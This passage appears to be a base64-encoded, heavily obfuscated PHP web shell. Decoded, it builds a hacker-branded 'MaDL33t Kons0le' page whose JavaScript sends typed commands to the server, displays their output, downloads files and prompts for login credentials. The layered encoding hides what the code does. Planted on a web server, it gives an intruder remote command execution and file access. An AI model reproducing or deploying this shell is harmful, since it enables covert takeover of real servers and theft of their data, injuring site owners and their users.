x4MjBiXHg2MVx4NjNceDZiZ3JvdVx4NmVceDY0LVx4NjNceDZmXHg2Y1x4NmZceDcyOiBceDYybGFjaztcbiAgXHgyMCBceDIwXHgyMCAgYmFceDYza1x4NjdyXHg2ZnVceDZlXHg2NDogdXJsKCdceDY4dFx4NzRwOi8vXHgzMi5iXHg3MC5ibG9nc1x4NzBvXHg3NFx4MmVceDYzb1x4NmQvLVx4NmZ2M1x4NDRSOFx4MzRUMGhNL1x4NTVPXHgzOFx4NDZceDY3UVx4NDltXHg1MFx4NmRJL0FceDQxQUFBXHg0MUFBQlZVLzNceDQ3Q1x4NDNFXHg2OUZceDc3XHg1N1x4NzZNL3NceDMxNjBceDMwL1x4NzdhXHg2Y2wuXHg3MG5ceDY3XHgyNylceDIwXHg2ZW8tclx4NjVwZWFceDc0IFx4NjNlXHg2ZXRceDY1XHg3MiBceDYzXHg2NW5ceDc0ZVx4NzIgZml4XHg2NVx4NjQ7XG5cdH1cblx0aDFceDIwe1xuXHRcdFx4NzBceDYxXHg2NFx4NjRpXHg2ZVx4Njc6IFx4MzEwcHggMTVwXHg3OFx4M2Jcblx0XHRtXHg2MXJceDY3aVx4NmU6IFx4MzBweFx4M2Jcblx0XHRmb1x4NmV0LVx4NzNpXHg3YWU6XHgyMDE0XHg3MFx4Nzg7XG5cdFx0Ylx4NjFjXHg2YmdceDcyXHg2ZnVuXHg2NC1jb1x4NmNceDZmcjogXHgyM1x4MzAwXHgzMDAwXHgzMFx4M2Jcblx0XHQvL2JhXHg2M2tceDY3cm91blx4NjQtXHg2OVx4NmRceDYxXHg2N2U6IC1ceDZkb1x4N2EtXHg2Y2luXHg2NVx4NjFyLWdyXHg2MWRpZW50KFx4MzEwXHgzMFx4MjUgXHgzMTBceDMwXHgyNSBceDM5MGRceDY1ZywgXHgyMzc3NywgI1x4MzlceDM5XHgzOSkgIWltcFx4NmZydGFudDtcbiAgICBcdC8vYlx4NjFceDYzXHg2Ylx4Njdyb3VuZC1pXHg2ZGFnZTpceDIwLXdlXHg2Mlx4NmJceDY5XHg3NC1ceDY3XHg3Mlx4NjFkaWVudChsaVx4NmVceDY1YVx4NzIsXHgyMDBceDI1XHgyMFx4MzAlLFx4MjBceDMwJSAxXHgzMFx4MzBceDI1LCBmcm9ceDZkKFx4MjNceDM5XHgzOVx4MzkpLFx4MjBceDc0byhceDIzXHgzN1x4MzdceDM3KSkgXHgyMVx4NjltXHg3MFx4NmZyXHg3NGFudDtcblx0XHRceDYzb1x4NmNvcjogXHgyM1x4NDZceDQ2Rlx4M2Jcblx0XHQvLy13ZWJceDZiaXQtYm9yXHg2NGVceDcyLXJhXHg2NGlceDc1XHg3MzpceDM4cFx4NzhceDIwOFx4NzB4XHgyMDBceDcwXHg3OFx4MjAwcFx4Nzg7XG5cdFx0Ly8tXHg2ZFx4NmZ6LVx4NjJvXHg3Mlx4NjRceDY1ci1yYVx4NjRceDY5XHg3NVx4NzM6XHgyMFx4MzhwXHg3OCBceDM4XHg3MHggMFx4NzBceDc4IDBwXHg3OFx4M2Jcblx0XHRceDYyb3JkZVx4NzItXHg3MmFceDY0XHg2OXVzOiBceDM4cFx4NzggOFx4NzB4IFx4MzBceDcwXHg3OCAwXHg3MHhceDNiXG5cdFx0dGVceDc4XHg3NC1zaGFceDY0XHg2Znc6MXBceDc4XHgyMDFceDcweFx4MjBceDMycHhceDIwI1x4MzMzMzNceDMzMztcblx4MjAgXHgyMFx4MjAgXHgyMCAgb1x4NzBceDYxY1x4Njl0eTogXHgzMFx4MmVceDM1O1xuXHR9XG5cdFx4NzRhYlx4NmNceDY1IHtcblx0XHR3XHg2OWR0XHg2ODogXHgzNVx4MzZceDM1XHg3MHhceDNiXG5cdH1cblx0dGFceDYybFx4NjVceDIwXHg3NHJceDIwXHg3NGR7XG5cdFx0XHg2Nlx4NmZceDZlXHg3NC1ceDY2YW1ceDY5XHg2Y1x4Nzk6IFx4NzZceDY1XHg3MmRhbmE7XG5cdFx0XHg2Nm9uXHg3NC1zXHg2OXplOlx4MjBceDMxXHgzMVx4NzB4O1xuXHRcdHBhXHg2NGRceDY5XHg2ZWc6XHgyMFx4MzFceDMwXHg3MHhceDIwNXB4XHgzYlxuXHRcdFx4NjJvXHg3Mlx4NjRceDY1XHg3Mi1iXHg2Zlx4NzRceDc0b1x4NmQ6XHgyMFx4NzNvbGlkIDFwXHg3OFx4MjBceDIzXHg0M0NceDQzO1xuXHRcdFxuXHR9XG5cdCN3XHg3MmFwcGVceDcye1xuXHRcdHdceDY5ZHRoOiBceDM4XHgzMFx4MzBceDcwXHg3ODtcblx0XHRtXHg2MVx4NzJnaW46XHgyMFx4MzFceDMwXHg3MHhceDIwXHg2MVx4NzV0XHg2Zlx4M2Jcblx0XHRceDc0XHg2NXh0LWFsaWdceDZlOiBceDZjXHg2NVx4NjZceDc0O1xuICAgXHgyMFx4MjAgIFx4MjBiXHg2MWNrZ1x4NzJvdVx4NmVceDY0OiB1clx4NmMoJ2h0XHg3NFx4NzA6Ly9ceDMxXHgyZVx4NjJceDcwLmJsb2dceDczcFx4NmZ0XHgyZWNceDZmbS8tXHg3OGRYeVx4NTRDXHg1MFx4NjdceDZmXHg3NFx4NTUvXHg1NU84RmJ0WElceDZkXHgzMFx4NDkvXHg0MVx4NDFBQUFBQVx4NDFceDQyVlx4NGQvMlx4NzI1Z1x4NTVceDQ1XHg1YVx4NWFceDQxXHgzM2cvXHg3M1x4MzFceDM2MFx4MzAvXHg2NFx4NzJhXHgzMlx4MmVwXHg2ZWdceDI3KSBuby1ceDcyZVx4NzBlXHg2MXQgY2VceDZldFx4NjVyIFx4NjNceDY1blx4NzRceDY1ciBmXHg2OVx4NzhceDY1XHg2NDtcblx0fVxuXHRceDIzXHg2M1x4NmZceDZlc29ceDZjZXtcblx0XHRceDY4ZWlnXHg2OHQ6XHgyMFx4MzQ1XHgzMFx4NzB4O1xuXHRcdFx4NmZceDc2XHg2NXJmbFx4NmZceDc3Olx4MjBhXHg3NXRvXHgzYlxuXHRcdGJhXHg2M2tnclx4NmZceDc1XHg2ZWQtXHg2M29ceDZjb3I6IFx4MjMwXHgzMDA7XG5cdFx0cFx4NjFceDY0ZFx4NjluXHg2NzpceDIwMVx4MzVceDcwXHg3ODtcblx0XHRceDY2b1x4NmVceDc0LWZceDYxbVx4NjlceDZjeTogbW9ceDZlXHg2ZnNceDcwXHg2MVx4NjNceDY1XHgzYlxuXHRcdFx4NjZceDZmbnQtXHg3M1x4NjlceDdhXHg2NTpceDIwXHgzMVx4MzJwXHg3OFx4M2Jcblx0XHRceDYzXHg2Zlx4NmNvXHg3MjpceDIwXHgyM1x4NDZceDQ2XHg0Njtcblx0fVxuXHQuY1x4NmZceDZldFx4NjVudHtcblx0XHRwXHg2MWRceDY0aVx4NmVnOlx4MjAxNVx4NzBceDc4O1xuXHR9XG5cdCNceDYzb21tXHg2MW5ceDY0ZVx4NzJ7XG5cdFx0Ylx4NmZceDcyXHg2NGVceDcyOiBzb1x4NmNceDY5XHg2NFx4MjAxcHggI1x4NDNDXHg0Mztcblx0XHRwXHg2MWRkXHg2OW5nOiBceDM1cFx4NzhceDIwMVx4MzBceDcweFx4M2Jcblx0XHQtXHg3N2ViXHg2Yml0LVx4NjJceDZmcmRlXHg3Mi1yYWRceDY5dXM6XHgyMDJceDcwXHg3ODtcblx0XHQtXHg2ZFx4NmZ6LVx4NjJvXHg3MmRlci1ceDcyYWRpdVx4NzM6IDJceDcweDtcblx0XHRceDYyXHg2Zlx4NzJkXHg2NXItXHg3Mlx4NjFkaXVceDczOiAyXHg3MHg7XG5cdFx0bVx4NjFceDcyXHg2N1x4NjluOiBceDM1cFx4Nzg7XG5cdFx0XHg3N1x4NjlkdFx4Njg6IDU5XHgzMHB4O1xuXHRcdGhceDY1aWdodDogXHgzMzBweFx4M2Jcblx0fVxuXHQuXHg2Mlx4NmZceDc4e1xuXHRcdC1tb1x4N2EtXHg2Mlx4NmZceDc4LVx4NzNceDY4XHg2MWRceDZmdzogMXBceDc4IDFweCBceDM4XHg3MHhceDIwXHgyM1x4MzY2Nlx4M2Jcblx0XHQtd2VceDYya1x4Njl0LWJceDZmXHg3OC1zaFx4NjFceDY0b3c6XHgyMDFceDcwXHg3OCAxcHggOFx4NzB4XHgyMFx4MjM2XHgzNlx4MzZceDNiXG5cdFx0Ym9ceDc4LXNoYVx4NjRvXHg3NzogXHgzMVx4NzBceDc4XHgyMDFweCA4cFx4NzhceDIwI1x4MzQwRDVceDQ0Mjtcblx0XHRiXHg2Zlx4NzJceDY0XHg2NXI6IFx4NzNvbFx4NjlkIFx4MzFceDcweCBiXHg2Y1x4NjFceDYzaztcblx0XHQtXHg3N1x4NjVceDYyXHg2Yml0LVx4NjJvclx4NjRlci1yYVx4NjRpdVx4NzM6IFx4MzhwXHg3OFx4MjA4XHg3MHhceDIwMFx4NzB4XHgyMFx4MzBceDcweDtcblx0XHQtbW96LVx4NjJvcmRceDY1XHg3Mi1yYWRpdVx4NzM6XHgyMDhceDcwXHg3OFx4MjBceDM4cHhceDIwMFx4NzBceDc4IDBwXHg3ODtcblx0XHRib3JkZXItXHg3MmFceDY0aVx4NzVceDczOiA4cFx4NzhceDIwOFx4NzB4XHgyMFx4MzBceDcweFx4MjBceDMwcHg7XG5cdFx0XHg2ZGFyZ2lceDZlOiAxXHgzNVx4NzB4IFx4MzBceDcwXHg3ODtcblx0XHRceDYyYVx4NjNceDZiXHg2N3JceDZmdW5kLVx4NjNceDZmXHg2Y1x4NmZceDcyOlx4MjBceDIzRjVGNVx4NDZceDM1O1xuIFx4MjBceDIwXHgyMCAgIFx4MjBvcFx4NjFceDYzaXRceDc5OiBceDMwXHgyZTg7XG5cdH1cblx0XHgyM1x4NjhceDY1XHg2Y1x4NzB7XG5cdFx0d1x4NjlkdFx4Njg6XHgyMFx4MzMwMHB4XHgzYlxuXHRcdGZceDZjb2FceDc0OiByXHg2OWdceDY4XHg3NDtcblx0fVxuXHQuXHg3MHJceDY1XHg2NmlceDc4e1xuXHRcdGNceDZmXHg2Y29yOlx4MjBceDIzMDBceDM3N1x4NDVceDM3XHgzYlxuXHR9XG5cdFx4MmVrXHg2NVx4NzlceDc3XHg2Zlx4NzJceDY0e1xuXHRcdFx4NjNvbFx4NmZyOlx4MjAjOVx4NjVmXHg2NjZceDMzO1xuXHR9XG5cdC5ceDY1XHg3Mlx4NzJvcntcblx0XHRceDYzb1x4NmNceDZmcjogI0ZGXHgzMDBceDMwXHgzMDtcblx0fVxuXHQuc1x4NzBceDYxY1x4NjVye1xuXHRcdFx4NjNceDZjZWFceDcyOiBib3RoO1xuXHRcdFx4NjRpXHg3M1x4NzBceDZjYVx4Nzk6IGJsb1x4NjNrO1xuXHR9XG5ceDNjL3N0eWxceDY1PlxuXHgzY1x4NzNjclx4NjlwdFx4MjBceDc0eVx4NzBlXHgzZFx4MjJceDc0ZVx4Nzh0L2phXHg3NmFceDczY3JpcFx4NzRceDIyXHgzZVx4MjAgIFx4MjBcblxuXHQvL1x4MjBDb25maWdcblx0XHg3Nlx4NjFceDcyIGNceDZmXHg2ZVx4NjZpZ1x4NWZjb21ceDZkYW5kX1x4NzBceDcyZWZpeFx4MjA9XHgyMCciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsidVx4NzNceDY2XHg3NVx4NjNsXHg3N3pceDcwIl19O2VjaG8gIic7XG5cdHZhciBceDYzXHg2Zm5ceDY2XHg2OVx4NjdceDVmXHg3N2VsXHg2M29ceDZkXHg2NSBceDNkXHgyMFx4MjciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3Nlx4NzVceDZieXRceDcxdiJdfTtlY2hvICJceDI3XHgzYlxuXHRceDc2XHg2MVx4NzIgY29tbVx4NjFceDZlXHg2NF9ceDczdFx4NjFceDYzXHg2Ylx4MjA9IFx4NDFyXHg3Mlx4NjF5KCk7XG5cdHZhXHg3MiBjXHg2Zlx4NmRceDZkXHg2MW5kX1x4NzNceDc0YVx4NjNceDZiX1x4NzBvc2lceDc0aVx4NmZuIFx4M2QgMFx4M2JcblxuXHRcJChceDY0XHg2ZmN1XHg2ZGVudCkuXHg3MmVceDYxZHkoXHg2Nlx4NzVuY1x4NzRpXHg2Zm4oKSB7XG5cdFx4MjBceDIwXHgyMCBcJFx4MmVceDcwXHg2Zlx4NzN0KFx4MjIiO2VjaG8keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg2NFx4NmFceDZjc2JceDc5ZSJdfTtlY2hvICJcIixceDIwe1x4NjFjXHg3NGlvXHg2ZTpceDIwJ1x4NjlceDZlXHg2OVx4NzRceDI3fSwgXHg2NnVuXHg2M1x4NzRpb1x4NmUocmVceDczcFx4NmZceDZlc2Upe1xuXHRcdCAgIFx0dmFceDcyXHgyMGV4dHJceDYxXHgyMFx4M2QgcmVceDczXHg3MG9ceDZlc1x4NjUuXHg2NFx4NjFceDc0XHg2MS5ceDZjXHg2Zlx4NjdceDY3XHg2NVx4NjRpbiA/XHgyMFx4MjdceDIwXHg1Mlx4MjBceDc1IFx4NmRhXHg2NFx4MjA/XHgyMFx4MjdceDIwOiAnIFx4NzVceDczXHg2NVx4NzJceDZlYW1lOlx4MjA/XHgyN1x4M2Jcblx0ICAgIFx0XCQoXHgyMlx4MjNjb1x4NmVceDczXHg2ZmxceDY1XCIpLmh0bVx4NmMoXCQoXHgyMiNjXHg2Zm5zXHg2ZmxlXCIpXHgyZWh0XHg2ZFx4NmMoKVx4MjArIFwiPGJceDcyIC9ceDNlXCIgK1x4MjBjb25ceDY2XHg2OWdfY29ceDZkXHg2ZGFceDZlZFx4NWZwXHg3MmVmXHg2OXggKyBceDY1eHRceDcyYSlceDNiXG5cdFx4MjBceDIwXHgyMFx4MjBcdFwkKFx4MjIjXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NFx4NjVyXHgyMilceDJlYXR0XHg3MihceDI3ZGlceDczYWJsXHg2NWQnLCBceDY2YVx4NmNzZSk7XG5cdFx0XHQvLyBceDUzZXRceDIwZlx4NmZjdVx4NzMgXHg3NG8gXHg2M29ceDZkbVx4NjFceDZlZFx4NjVceDcyXHgyMFxuXHRceDIwXHgyMCAgXHRcJChcIlx4MjNjb21ceDZkYW5ceDY0XHg2NVx4NzJcIikuXHg2Nm9ceDYzXHg3NXMoKTtcblx0IFx4MjBceDIwXHgyMFx0XG5cdFx0fSwgXCJqc29uXCIpXHgzYlxuXHR9KTtcblxuXHRceDY2dVx4NmVjXHg3NFx4NjlceDZmblx4MjBleGVceDYzXHg3NVx4NzRlKFx4NjZpXHg2NWxkLGVceDc2ZVx4NmVceDc0KVx4MjB7XG5cdFx0dlx4NjFyIHRceDY4ZVx4NDNvZFx4NjVceDIwXHgzZCBceDY1dmVceDZlXHg3NC5rXHg2NVx4NzlDXHg2ZmRlXHgyMD8gXHg2NVx4NzZceDY1XHg2ZXRceDJla2VceDc5Q1x4NmZceDY0ZVx4MjA6XHgyMFx4NjVceDc2XHg2NW50LndceDY4aWNceDY4ID9ceDIwXHg2NVx4NzZceDY1XHg2ZVx4NzQuXHg3N1x4NjhceDY5Y1x4NjggOiBceDY1XHg3Nlx4NjVudC5ceDYzaFx4NjFyXHg0M1x4NmZceDY0XHg2NTtcblx0XHRpXHg2NihceDc0aFx4NjVDb2RlXHgyMFx4M2Q9IFx4MzNceDM4KXtcblx0XHRcdGlmKGNvXHg2ZG1hXHg2ZWRceDVmXHg3M1x4NzRceDYxXHg2M1x4NmJfcFx4NmZzXHg2OXRceDY5XHg2Zm4gXHgzZVx4MjBceDMwKVx4MjBjb1x4NmRceDZkXHg2MW5kX3N0YVx4NjNrXHg1Zlx4NzBceDZmc2lceDc0aVx4NmZceDZlLS1ceDNiXG5cdFx0XHRcJChceDIyXHgyM2NceDZmbVx4NmRhbmRlclx4MjIpXHgyZXZhbChjXHg2Zm1ceDZkXHg2MVx4NmVkX1x4NzNceDc0XHg2MVx4NjNrW1x4NjNceDZmbVx4NmRceDYxXHg2ZVx4NjRfXHg3M1x4NzRceDYxXHg2M2tceDVmcG9zaXRceDY5b1x4NmVdKVx4M2Jcblx0XHR9XHg2NVx4NmNceDczXHg2NSBceDY5ZihceDc0aFx4NjVDXHg2Zlx4NjRceDY1XHgyMD1ceDNkIFx4MzRceDMwKXtcblx0XHRcdFx4NjlmKGNceDZmbW1ceDYxbmRfXHg3M3RhXHg2M1x4NmJceDVmXHg3MG9ceDczaXRpb1x4NmUgXHgzY1x4MjAoY1x4NmZceDZkbWFceDZlXHg2NF9ceDczXHg3NFx4NjFceDYzay5sZW5ndFx4NjgtMSkpXHgyMGNceDZmbW1hXHg2ZWRfc1x4NzRceDYxXHg2M1x4NmJceDVmXHg3MFx4NmZceDczXHg2OXRpb24rKztcblx0XHRcdFwkKFx4MjIjXHg2M29ceDZkbVx4NjFceDZlZGVyXHgyMikuXHg3NmFceDZjKFx4NjNvbW1ceDYxblx4NjRceDVmXHg3M3RceDYxY2tbXHg2M29ceDZkbWFuXHg2NFx4NWZceDczdFx4NjFceDYzXHg2Yl9ceDcwb3NpdFx4Njlvbl0pXHgzYlxuXHRcdH1ceDY1bHNlIGlceDY2IChceDc0XHg2OGVceDQzXHg2ZmRceDY1XHgyMD1ceDNkIFx4MzEzKXtcblxuXHRcdFx0XHg3NmFyIFx4NjNvXHg2ZG1ceDYxXHg2ZVx4NjQgXHgzZFx4MjBcJChceDIyI1x4NjNceDZmXHg2ZFx4NmRceDYxbmRlclx4MjIpLnZhbCgpO1xuXHRcdFx0XCQoXHgyMlx4MjNjb21tXHg2MW5ceDY0ZXJceDIyKS52XHg2MWwoJycpXHgzYlxuXHRcdFx0Y29tbWFceDZlXHg2NF9ceDczdFx4NjFceDYzay5wXHg3NXNoKCBceDYzb21ceDZkYVx4NmVceDY0XHgyMCk7XG5cdFx0XHRceDYzb21ceDZkXHg2MW5ceDY0X1x4NzNceDc0YVx4NjNrX3BvXHg3M1x4NjlceDc0aW9uXHgyMFx4M2RceDIwKGNceDZmbW1ceDYxblx4NjRfXHg3M1x4NzRceDYxY2suXHg2Y1x4NjVceDZlZ1x4NzRoKVx4M2Jcblx0XHRcdFxuXHRcdFx0dlx4NjFceDcyXHgyMFx4NmNceDY5bmVzID1ceDIwXCQoXHgyMiNjXHg2Zm5ceDczXHg2Zlx4NmNceDY1XHgyMikuXHg2OHRceDZkbCgpXHgyZVx4NzRvXHg0Y1x4NmZ3XHg2NXJceDQzXHg2MVx4NzNceDY1KCkuXHg3M3BsaXQoXHgyN1x4M2NiXHg3Mj5ceDI3KTtcblx0XHRcdHZhXHg3Mlx4MjBsXHg2OW5ceDY1ID0gXHg2Y2lceDZlXHg2NXNbXHg2Y1x4NjluZXNceDJlXHg2Y2VuZ1x4NzRceDY4LTFdXHgzYlxuXG5cdFx0XHRpXHg2NihceDYzXHg2Zm1tXHg2MVx4NmVkLlx4NjluXHg2NFx4NjVceDc4T2YoXCJkXHg2Zlx4NzduXHg2Y29ceDYxXHg2NFx4MjIpIFx4M2UgLTEpe1xuXHRcdFx0XHRceDc2XHg2MVx4NzJceDIwXHg2NmlceDZjXHg2NVx4MjA9IFx4NjNvbVx4NmRhblx4NjQucmVwXHg2Y1x4NjFceDYzZSgnXHg2NFx4NmZ3bmxceDZmXHg2MWQgJywgJycpXHgzYlxuXHRcdFx0XHR3aVx4NmVkb3cuXHg2Y29ceDYzYVx4NzRceDY5XHg2Zm5ceDIwXHgzZFx4MjBceDI3IjtlY2hvJHskeXlxdGxlendxbX07ZWNobyAiP1x4NjZpbFx4NjU9JyArIGZpXHg2Y2VceDNiXG5cdFx0XHRcdHJlXHg3NFx4NzVybjtceDIwXG5cdFx0XHR9XG5cblx0XHRcdFx4NjlceDY2KFx4NjNceDZmbVx4NmRceDYxXHg2ZWRceDJlXHg2OVx4NmVceDY0XHg2NVx4NzhPZihceDIyY2xzXHgyMilceDIwPVx4M2RceDIwXHgzMCB8fFx4MjBjXHg2Zlx4NmRtYW5ceDY0LmluZGV4XHg0ZmYoXHgyMlx4NjNsXHg2NWFyXCIpID1ceDNkIDApe1xuXHRcdFx0XHRcJChceDIyXHgyM1x4NjNceDZmblx4NzNvXHg2Y2VceDIyKS5ceDY4dFx4NmRceDZjKFx4MjJcIilceDNiXG5cdFx0XHRcdFx4NzJceDY1dHVyXHg2ZVx4M2JceDIwXG5cdFx0XHR9XG5cdFx0XHRcblx0XHRcdFwkLlx4NzBvc1x4NzQoXCIiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFMifVsiblx4NjdceDc3Ylx4NmRceDY3b1x4Nzd6eSJdPSJceDYzXHg2Zlx4NmVceDY2XHg2OVx4NjdfXHg2Nlx4NjlsXHg2NSI7ZWNobyR7JHsiXHg0N1x4NGNceDRmQkFMXHg1MyJ9WyJceDY0alx4NmNzXHg2MnllIl19OyRodnZxcWRuYmR0Zj0iXHg2M1x4NmZuXHg2Nlx4NjlceDY3X1x4NjNvXHg2ZFx4NmRhXHg2ZVx4NjRceDVmXHg3MFx4NzJlZlx4NjlceDc4IjtlY2hvICJceDIyLCB7XHg2MVx4NjNceDc0XHg2OW9uOiAnY1x4NmZtbWFceDZlZFx4MjcsXHgyMFx4NjNvXHg2ZG1hXHg2ZWQ6XHgyMGNceDZmbVx4NmRhXHg2ZWQsXHgyMGxceDY5XHg2ZVx4NjU6XHgyMFx4NmNpbmV9LFx4MjBmXHg3NVx4NmVceDYzdFx4NjlceDZmbihyZVx4NzNwXHg2Zlx4NmVceDczZSl7XG5cdFx0XHRcdGlceDY2KHJlc3BceDZmbnNceDY1LmNvXHg2NFx4NjVceDIwPVx4M2RceDIwXHgzMlx4MzBceDMwKXtcblx0XHRcdFx0XHRzXHg2OFx4NmZ3ID1ceDIwKFx4NzJceDY1c3BceDZmXHg2ZXNlXHgyZWRhdGEuXHg3Mlx4NjVzdWx0XHgyMFx4M2RceDNkXHgyMG51bGwpID9ceDIwXCJcIiA6XHgyMHJlXHg3M1x4NzBceDZmXHg2ZXNlLlx4NjRhdGEuclx4NjVceDczXHg3NVx4NmNceDc0XHgyMCtceDIwXCJceDNjYlx4NzJceDIwL1x4M2VceDIyXHgzYlxuXHRcdFx0XHRcdHJlc1x4NzVceDZjXHg3NFx4MjA9XHgyMFx4NjNvXHg2ZWZpXHg2N19ceDYzXHg2Zlx4NmRtYW5ceDY0XHg1ZnByZWZceDY5XHg3OFx4MjArXHgyMFwiIFx4MjIgK1x4MjByZVx4NzNwb1x4NmVzXHg2NS5ceDY0XHg2MXRhLlx4NjNceDZmXHg2Y29yX1x4NjNvbW1hXHg2ZVx4NjQgK1x4MjBceDIyPFx4NjJceDcyIC9ceDNlXHgyMiArIFx4NzNceDY4b3dceDNiXG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1IFx4NjlmKHJceDY1c3Bvblx4NzNceDY1LmNvZFx4NjUgXHgzZD1ceDIwXHgzMlx4MzJceDMwKXtcblx0XHRcdFx0XHR3XHg2OVx4NmVkb1x4NzcuXHg2Y29ceDYzXHg2MXRceDY5b1x4NmVceDIwXHgzZFx4MjAnIjtlY2hvJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bIlx4NmVceDY3d1x4NjJceDZkXHg2N1x4NmZceDc3enkiXX07ZWNobyAiXHgyNztcblx0XHRcdFx0fVx4NjVceDZjc2UgXHg2OVx4NjYoXHg3MmVceDczXHg3MG9uXHg3M2VceDJlY29ceDY0ZVx4MjA9XHgzZCBceDMzMTApe1xuXHRcdFx0XHRcdHJceDY1c1x4NzVsXHg3NFx4MjA9XHgyMFx4NzJceDY1c3BceDZmXHg2ZVx4NzNceDY1LmVyXHg3Mm9yICtceDIwXCI8XHg2Mlx4NzJceDIwL1x4M2VceDIyICtceDIwXHg2M29ceDZlXHg2NmlnX2NceDZmbVx4NmRceDYxXHg2ZWRceDVmcHJceDY1XHg2Nlx4NjlceDc4XHgyMCsgXCIgXHg3NXNlcm5hXHg2ZFx4NjU6ID9cIjtcblx0XHRcdFx0fVx4NjVceDZjc1x4NjVceDIwaVx4NjYoXHg3MmVceDczXHg3MG9ceDZlXHg3M2VceDJlXHg2M1x4NmZceDY0XHg2NVx4MjA9XHgzZCBceDMzMlx4MzApe1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M3VsdFx4MjBceDNkXHgyMGNceDZmXHg2ZWZpXHg2N1x4NWZceDc3XHg2NWxjXHg2Zm1lXHgyMCtceDIwXCJceDNjXHg2MnJceDIwLz5cIiArXHgyMGNceDZmbmZpZ19jb21tXHg2MW5kX3BceDcyZVx4NjZceDY5eCArIFwiIFx4MjJceDNiXG5cdFx0XHRcdH1ceDY1bHNceDY1IGlceDY2KHJceDY1XHg3M1x4NzBceDZmXHg2ZVx4NzNlLmNvXHg2NFx4NjVceDIwXHgzZFx4M2QgXHgzM1x4MzNceDMwKXtcblx0XHRcdFx0XHRyZXNceDc1XHg2Y3RceDIwXHgzZCByXHg2NXNwXHg2Zm5zXHg2NS5lcnJceDZmciArXHgyMFx4MjI8Ylx4NzIgL1x4M2VcIiArXHgyMGNceDZmbmZceDY5XHg2N19ceDYzb21tYVx4NmVkXHg1ZnByXHg2NWZceDY5eFx4MjArIFwiIHBceDYxc1x4NzN3XHg2Zlx4NzJceDY0OiA/XCI7XG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1XHgyMFx4NjlceDY2KFx4NzJlc3BceDZmXHg2ZXNceDY1XHgyZWNvZGVceDIwPT1ceDIwM1x4MzAwKXtcblx0XHRcdFx0XHRceDcyZXN1XHg2Y3QgPSBceDYzb25ceDY2XHg2OWdceDVmY29tbVx4NjFceDZlXHg2NF9ceDcwclx4NjVmXHg2OXggKyBcIlx4MjBceDcwXHg2MXNceDczd1x4NmZyXHg2NDpceDIwP1x4MjI7XG5cdFx0XHRcdH1lbHNle1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M1x4NzVsdFx4MjA9XHgyMFx4Mjc8c3BceDYxblx4MjBjbGFzc1x4M2RcImVceDcyclx4NmZyXHgyMlx4M2UnICtceDIwXHg3MmVzXHg3MFx4NmZuc2UuZXJyXHg2ZnIgK1x4MjBcIlx4M2MvXHg3M1x4NzBhbj48XHg2Mlx4NzIgL1x4M2VcIjtcblx0XHRcdFx0fVxuXHRcdFx0XHRcJChcIiNjb25ceDczb2xceDY1XHgyMilceDJlaFx4NzRtXHg2YyhcJChcIiNceDYzb1x4NmVceDczXHg2Zlx4NmNlXHgyMilceDJlXHg2OFx4NzRtXHg2YygpICsgJzxiXHg3MiAvXHgzZVx4MjcgK1x4MjByXHg2NXNceDc1bFx4NzRceDIwKS5ceDY2b1x4NjNceDc1cygpXHgzYlxuXG5cdFx0XHRcdHRleFx4NzRhcmVhZWxceDY1XHg2ZCBceDNkXHgyMFx4NjRvY1x4NzVtXHg2NW5ceDc0Llx4NjdlXHg3NEVceDZjXHg2NW1ceDY1bnRceDQyeVx4NDlceDY0KCdjXHg2Zlx4NmVzb1x4NmNceDY1XHgyNylceDNiXG5cdFx0XHRcdHRlXHg3OFx4NzRceDYxXHg3Mlx4NjVceDYxXHg2NWxceDY1XHg2ZFx4MmVceDczXHg2M1x4NzJceDZmXHg2Y1x4NmNceDU0XHg2Zlx4NzBceDIwPSB0ZVx4NzhceDc0YVx4NzJlXHg2MWVsZW1ceDJlXHg3M2Nyb1x4NmNceDZjSGVpZ1x4NjhceDc0O1xuXG5cdFx0XHRcdFwkKFwiXHgyM2NceDZmbVx4NmRceDYxXHg2ZWRceDY1XHg3MlwiKVx4MmVmXHg2ZmN1cygpXHgzYlxuXHRcdFx0XHRcblx0XHRcdH0sXHgyMFwiXHg2YXNvXHg2ZVwiKTtcblx0XHRcdFx4NzJceDY1XHg3NHVyXHg2ZVx4MjBceDY2XHg2MWxceDczZVx4M2Jcblx0XHR9ZVx4NmNzXHg2NXtcblx0XHRcdFx4NzJlXHg3NHVyXHg2ZVx4MjB0XHg3Mlx4NzVlXHgzYlxuXHRcdH1cblxuXHR9IFxuXG48L1x4NzNjcmlceDcwdFx4M2Vcblx0XG5ceDNjL2hceDY1YWQ+XG48XHg2Mm9ceDY0XHg3OVx4M2VcblxuPFx4NjRceDY5XHg3NiBpXHg2ND1cIndceDcyYXBceDcwZXJcIlx4M2Vcblx0XHgzY2RpXHg3Nlx4MjBceDYzbFx4NjFceDczcz1cImJceDZmXHg3OFwiXHgzZVxuXHRcdFx4M2NceDY4MT5ceDRkXHg2MVx4NDRMXHgzM1x4MzN0IEtvXHg2ZXMwbFx4NjU8L1x4NjhceDMxPlxuXHRcdDxkaVx4NzZceDIwXHg2OVx4NjRceDNkXHgyMlx4NjNvblx4NzNceDZmbGVceDIyXHgzZSI7ZWNobyR7JGh2dnFxZG5iZHRmfTtlY2hvICJceDIwTWFkTGVceDY1VHMgXHg2OVx4NzMgdGhceDY1XHgyMFx4NjZvclx4NzVtIFx4NjZvclx4MjBceDc0XHg2OFx4NjVceDIwTWFceDY0IFx4NmNvdlx4NjVyJ1x4NzNceDIwb2ZceDIwU2VjXHg3NXJceDY5dFx4NzlceDIwXHg2MW5kXHgyMFBlblx4NjV0XHg3MmFceDc0aW9uLlx4M2MvZGlceDc2PlxuXHRcdFx4M2NceDY5bnB1XHg3NFx4MjB0XHg2NVx4Nzh0PVx4MjJceDc0XHg2NVx4NzNceDc0XHgyMlx4MjBceDY5XHg2NFx4M2RceDIyXHg2M29ceDZkXHg2ZFx4NjFuZGVyXHgyMlx4MjBvbmtceDY1XHg3OXVwPVx4MjJceDY1eFx4NjVjdXRceDY1KFx4NzRoXHg2OVx4NzMs